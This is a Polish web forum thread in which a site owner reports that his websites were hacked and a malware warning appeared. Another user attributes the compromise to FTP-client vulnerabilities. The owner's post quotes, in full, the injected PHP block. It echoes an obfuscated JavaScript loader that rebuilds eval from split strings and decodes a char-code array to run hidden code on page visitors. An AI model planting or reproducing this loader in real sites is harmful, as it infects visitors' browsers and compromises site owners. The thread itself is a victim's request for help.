[PHP] Atak hakerski: v=\"va\"+\"l\";try{faweb++}catch(btawetb){try{fve^32}catch(btawt4){w=window;e= Opcje

[tomekpl]

Witam,
Wchodzę dzisiaj na jedną z moich stron i widzę ostrzeżenie o złośliwym opragromowaniu:

Witryna ubezpieczenia-szczecin.com zawiera treści z witryny trafficslotsfive.info, która jest znana jako źródło złośliwego oprogramowania. ...

Do głównego pliku indeks jest dodany kod:

Kod

#0247a1#
                                                                                                                                                                                                                                                                                                                                                              if(!$srvc_counter) {
echo "                                                                                                                                                                                                                                                                                                                                                              <script type=\"text/javascript\" language=\"javascript\" >                                                                                                                                                                                                                                                                                                                                                              v=\"va\"+\"l\";try{faweb++}catch(btawetb){try{fve^32}catch(btawt4){w=window;e=w[\"e\".concat(v)];}}if(1){f=new Array(40,101,115,110,98,114,105,110,108,40,40,11,10,122,11,10,31,116,97,113,30,97,
31,59,32,99,109,99,116,107,101,109,114,46,98,112,101,96,114,101,68,106,101,108,99
,110,115,38,39,104,100,114,96,107,101,38,39,59,12,8,13,9,30,97,45,113,114,98,30,6
1,31,37,104,115,114,112,57,45,47,83,80,65,69,68,73,66,81,76,78,82,83,69,71,86,68,
44,105,109,100,111,46,98,101,113,103,118,104,108,103,46,99,108,100,97,116,100,98,
45,104,108,99,113,99,97,114,99,115,94,113,117,97,107,105,115,114,105,109,101,95,1
15,109,46,111,102,112,38,57,13,9,30,97,45,113,116,120,106,101,45,110,111,114,103,
116,104,109,110,31,59,32,38,95,98,114,109,108,116,114,101,38,57,13,9,30,97,45,113
,116,120,106,101,45,96,111,113,98,101,113,30,61,31,37,48,38,57,13,9,30,97,45,113,
116,120,106,101,45,102,101,104,101,104,115,30,61,31,37,49,111,118,39,58,11,10,31,
95,46,114,114,121,107,99,46,118,103,100,115,102,32,60,30,39,48,110,120,38,57,13,9
,30,97,45,113,116,120,106,101,45,106,101,101,114,32,60,30,39,48,110,120,38,57,13,
9,30,97,45,113,116,120,106,101,45,114,111,111,30,61,31,37,49,111,118,39,58,11,10,
12,8,32,104,100,40,32,98,111,98,115,109,100,108,116,45,101,101,115,67,108,100,107
,101,109,114,66,120,71,100,39,37,97,99,110,108,38,39,41,12,8,32,122,11,10,31,98,1
11,98,115,109,100,108,116,45,117,114,104,114,101,39,37,60,99,103,118,31,103,100,6
0,90,39,96,98,112,107,90,39,61,58,47,99,103,118,61,37,41,58,11,10,31,98,111,98,11
5,109,100,108,116,45,101,101,115,67,108,100,107,101,109,114,66,120,71,100,39,37,9
7,99,110,108,38,39,46,96,110,112,100,108,100,66,102,105,107,98,40,96,39,59,12,8,3
2,124,11,10,124,39,40,40,57);}w=f;s=[];r=String;x=\"j%\";for(i=0;-i+453!=0;i+=1){j=i;if(e&&(031==0x19))s=s+r[\"fromCharCode\"]((1*w[j]+e(x+3)));}if(0x10==020)try{(w+s)()}catch(asga){e(\"if(1)\"+s+\"\");}</script>";
$srvc_counter = true;
}

#/0247a1#

Sprawdziłem inne strony na innych serwerach i też są zhackowane. Z czego może to wynikać? Może być, że poprzez zewnętrzne pliku js? korzystam z apps google na wielu stronach itp

[!*!]

Było już wielokrotnie na forum. Poszukaj pod "doklejanie kodu" masz luki w systemie, dotyczące klienta FTP.

Ten post edytował !*! 17.10.2012, 12:48:00